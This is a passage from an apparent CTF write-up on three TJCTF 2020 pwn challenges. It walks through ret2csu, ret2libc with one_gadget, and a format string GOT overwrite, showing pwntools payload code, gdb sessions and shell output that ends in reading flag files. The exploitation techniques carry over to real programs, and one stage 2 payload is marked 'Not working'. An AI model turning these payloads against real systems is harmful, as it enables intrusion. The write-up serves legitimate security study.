   0x0000000000400926 <+54>:	xor    ebx,ebx
   0x0000000000400928 <+56>:	nop    DWORD PTR [rax+rax*1+0x0]
   0x0000000000400930 <+64>:	mov    rdx,r15 <------------- r15 overwrites rdx
   0x0000000000400933 <+67>:	mov    rsi,r14
   0x0000000000400936 <+70>:	mov    edi,r13d
   0x0000000000400939 <+73>:	call   QWORD PTR [r12+rbx*8]
   0x000000000040093d <+77>:	add    rbx,0x1
   0x0000000000400941 <+81>:	cmp    rbp,rbx
   0x0000000000400944 <+84>:	jne    0x400930 <__libc_csu_init+64>
   0x0000000000400946 <+86>:	add    rsp,0x8
   0x000000000040094a <+90>:	pop    rbx
   0x000000000040094b <+91>:	pop    rbp
   0x000000000040094c <+92>:	pop    r12
   0x000000000040094e <+94>:	pop    r13
   0x0000000000400950 <+96>:	pop    r14
   0x0000000000400952 <+98>:	pop    r15
   0x0000000000400954 <+100>:	ret    
End of assembler dump.

We also need to write the address of syscall to .bss to make __libc_csu_init execute syscall after setting up the registers.

Our payload should look like this.

# First chain - will setup syscall for read - to set syscall on bss and rax (0x3b) for execve
payload = ""
payload += "A"*offset
payload += p64(0x40094b) # pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += p64(1) # rbp for jne
payload += p64(0x601db8) # frame_dummy 
payload += p64(0)
payload += p64(0)
payload += p64(100) # rdx value
payload += p64(0x0000000000400930) #ret2csu 0x0000000000400930
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(0x602000) # bss
payload += p64(0)
payload += p64(0x4008e0) # call read(0,0x602000,0x100) 

# Second chain - Will setup rdi rsi rdx for execve('/bin/sh',0,0)
payload += p64(0x40094b) # pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += p64(1) # rbp for jne
payload += p64(0x602000) # bss
payload += p64(shell_addr) # rdi
payload += p64(0)
payload += p64(0) # rdx value
payload += p64(0x0000000000400930) #ret2csu 0x0000000000400930

This chain will execute read(0, 0x602000, 0x100) and will ask again for another user input. The next user input should contain the syscall address and should have the length of 0x3b. After sending the input, the program will call execve('/bin/sh',0,0).

Executing the payload will look like this.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/stop# python test.py 
[+] Starting local process './stop': pid 7314
[*] Switching to interactive mode

$ ls
core  exploit.py  flag.txt  stop  test.py
$ cat flag.txt
tjctf{st0p_th4t_r1ght_now}

Exploit script: https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/stop/exploit.py

Challenge: Buffer overflow + ret2libc leak + rop-chain one_gadget

The solution for this challenge is similar to Seashells.

A quick check shows that the given binary is also vulnerable to buffer overflow, but it is not possible to inject a shellcode since the NX bit is set.

gef➤  checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/cookie_library/cookie_library'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Full

The binary asks for a user input. A quick fuzz gives us the offset we need to control the instruction pointer.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/cookie_library# pattern 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
[email protected]:~/Documents/CTFs/2020/tjctf/pwn/cookie_library# gdb -q cookie_library
gef➤  r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/cookie_library/cookie_library 
Check out all these cookies!
  - snickerdoodles
  - chocolate chip cookies
  - oatmeal raisin cookies
  - gingersnaps
  - shortbread cookies
  - peanut butter cookies
  - whoopie pies
  - sugar cookies
  - molasses cookies
  - kiss cookies
  - biscotti cookies
  - butter cookies
  - spritz cookies
  - snowball cookies
  - drop cookies
  - thumbprint cookies
  - pinwheel cookies
  - wafers
  - macaroons
  - fortune cookies
  - crinkle cookies
  - icebox cookies
  - gingerbread cookies
  - tassies
  - lebkuchen cookies
  - macarons
  - black and white cookies
  - white chocolate macadamia nut cookies
Which is the most tasty?
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
I'm sorry but we can't be friends anymore
Program received signal SIGSEGV, Segmentation fault.
0x00000000004008c4 in main ()
gef➤  x/xg $rsp
0x7fffffffdeb8:	0x3164413064413963
[email protected]:~/Documents/CTFs/2020/tjctf/pwn/cookie_library# pattern 0x3164413064413963
Pattern 0x3164413064413963 first occurrence at position 88 in pattern.

We need a padding of 88 bytes to control the program.

To get a shell from this program, we can use ret2libc attack to leak a libc address and execute system('/bin/sh').

Our stage 1 payload should look like this.

payload = ""
payload += "A"*88 # padding
payload += p64(pop_rdi) # control first argument
payload += p64(puts_got) # GOT address of puts (to leak printf libc address)
payload += p64(puts_plt) # will execute puts(&printf_got)
payload += p64(main_plt) # jump back to main (for stage 2 payload)

Again, we can use LIBC Database to determine the version of the LIBC used.

Once the LIBC base and other libc function addresses are determined, we can now create our stage 2 payload.

libc_base = puts_leak - puts_offset

# Stage 2 payload 
payload = ""
payload += "A"*88 # padding
payload += p64(libc_base + one_gadget_offset)# one_gadget 

I used one_gadget to execute a shell.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/cookie_library# one_gadget libc.so.6 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Exploit script: https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/cookie_library/exploit.py

Naughty (100 points)

Challenge: Format string + loop back to main using .fini_array + overwrite printf GOT with system()

This challenge is not similar to the challenges above. A quick check shows that the given binary is not vulnerable to the attacks used (buffer overflow / shellcode injection / ret2libc / ret2csu) from the previous challenges. Still, it is vulnerable to format string attack.

gef➤  checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/naughty/naughty'
Canary                        : Yes
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : No
gef➤  r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/naughty/naughty 
  _  _                     __ _   _        _       _  _                                     _  _      _                      ___   
 | \| |   __ _    _  _    / _` | | |_     | |_    | || |    o O O   ___      _ _     o O O | \| |    (_)     __      ___    |__ \  
 | .` |  / _` |  | +| |   \__, | | ' \    |  _|    \_, |   o       / _ \    | '_|   o      | .` |    | |    / _|    / -_)     /_/  
 |_|\_|  \__,_|   \_,_|   |___/  |_||_|   _\__|   _|__/   TS__[O]  \___/   _|_|_   TS__[O] |_|\_|   _|_|_   \__|_   \___|   _(_)_  
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """"| {======|_|"""""|_|"""""| {======|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""| 
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 
What is your name?
%x
You are on the NAUGHTY LIST 100

To solve a this challenge, we can use a GOT overwrite since the GOT table is writable (no RelRO bit set).

Upon inspection, we cannot easily control the program flow since the program terminates after the printf() function that vulnerable to format string attack.

gef➤  disas main
Dump of assembler code for function main:
------------ redacted -------------------------
   0x0804862f <+249>:	call   0x80483b0 <[email protected]> <--- vulnerable to format string attack
   0x08048634 <+254>:	add    esp,0x10
   0x08048637 <+257>:	mov    eax,0x0
   0x0804863c <+262>:	mov    edx,DWORD PTR [ebp-0xc]
   0x0804863f <+265>:	xor    edx,DWORD PTR gs:0x14
   0x08048646 <+272>:	je     0x804864d <main+279>
   0x08048648 <+274>:	call   0x80486d0 <__stack_chk_fail_local>
   0x0804864d <+279>:	lea    esp,[ebp-0x8]
   0x08048650 <+282>:	pop    ecx
   0x08048651 <+283>:	pop    ebx
   0x08048652 <+284>:	pop    ebp
   0x08048653 <+285>:	lea    esp,[ecx-0x4]
   0x08048656 <+288>:	ret    

A quick research led me into this https://stackoverflow.com/questions/22147996/cant-find-a-section-dtors. It tells us that we can overwrite the destructors (.fini_array) to make the program loop back to main.

We can overwrite this address with the address of main().

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/naughty# objdump -h -j .fini_array naughty 

naughty:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
 19 .fini_array   00000004  08049bac  08049bac  00000bac  2**2
                  CONTENTS, ALLOC, LOAD, DATA

While overwriting fini_array, we can also leak a known libc address inside the stack to determine the libc version used, and leak a stack address to overwrite the return value.

Let’s get the format string offset first.

gef➤  r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/naughty/naughty 
  _  _                     __ _   _        _       _  _                                     _  _      _                      ___   
 | \| |   __ _    _  _    / _` | | |_     | |_    | || |    o O O   ___      _ _     o O O | \| |    (_)     __      ___    |__ \  
 | .` |  / _` |  | +| |   \__, | | ' \    |  _|    \_, |   o       / _ \    | '_|   o      | .` |    | |    / _|    / -_)     /_/  
 |_|\_|  \__,_|   \_,_|   |___/  |_||_|   _\__|   _|__/   TS__[O]  \___/   _|_|_   TS__[O] |_|\_|   _|_|_   \__|_   \___|   _(_)_  
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """"| {======|_|"""""|_|"""""| {======|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""| 
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 
What is your name?
AAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x 
You are on the NAUGHTY LIST AAAA 100 f7fa2580 8048550 ffffcfc4 ffffcfc0 3 41414141 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 
[Inferior 1 (process 7634) exited normally]

Our input AAAA or 0x41414141 can be seen on the 7th output.

Our stage 1 payload should look like this.

payload = ""
payload += p32(fini_array) # overwrite fini_array
payload += p32(printf_got) # for leaking libc address of printf
payload += "%.{}x".format(0x8536-8) # Will only overwrite last 2 bytes of what's written on fini_array
payload += "%7$hn" # the offset 
payload += "AAAA%8$s %69$pBBBB" # Will also leak the value of printf libc and a stack address

After leaking the address, we can use LIBC Database to determine the version of the LIBC used.

For the stage 2 payload, we need to overwrite the location of the return address with the main() address to create a loop, and overwrite the GOT value of printf() with system() so that instead of printing our input “/bin/sh”, it will be executed by the system function.

Our stage 2 payload should look like this.

libc_leak, stack_leak = r.recvuntil('BBBB').split("AAAA")[-1].split(' ')
libc_leak = u32(libc_leak[:4])
stack_leak = int(stack_leak.replace('BBBB',''),16)

libc_base = libc_leak - 0x050b60
ret_addr = stack_leak - 0x170 - 0x8
system_addr = libc_base + 0x03cd10

# Not working lol -----------------------------------------------------

payload = fmtstr_payload(offset, {ret_addr: main_plt, printf_got: system_addr}, write_size='byte')

# used pwntools' fmtstr_payload to make my life easier lol

After sending this payload, we just need to send “/bin/sh” to spawn a shell.

Executing the payload will look like this.

[email protected]:~/Documents/CTFs/2020/tjctf/pwn/naughty# python test.py 
[+] Starting local process './naughty': pid 7780
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] libc leak: 0xf7df4a50
[*] libc base: 0xf7da2000
[*] stack leak: 0xffa31b14
[*] ret addr: 0xffa3199c
[+] Got a shell!
[*] Switching to interactive mode

sh: 1: You: not found
$ ls
exploit.py  flag.txt  libc.so.6  naughty  oneshots  test.py
$ cat flag.txt
tjctf{form4t_strin9s_ar3_on_th3_n1ce_li5t}

Exploit script: https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/naughty/exploit.py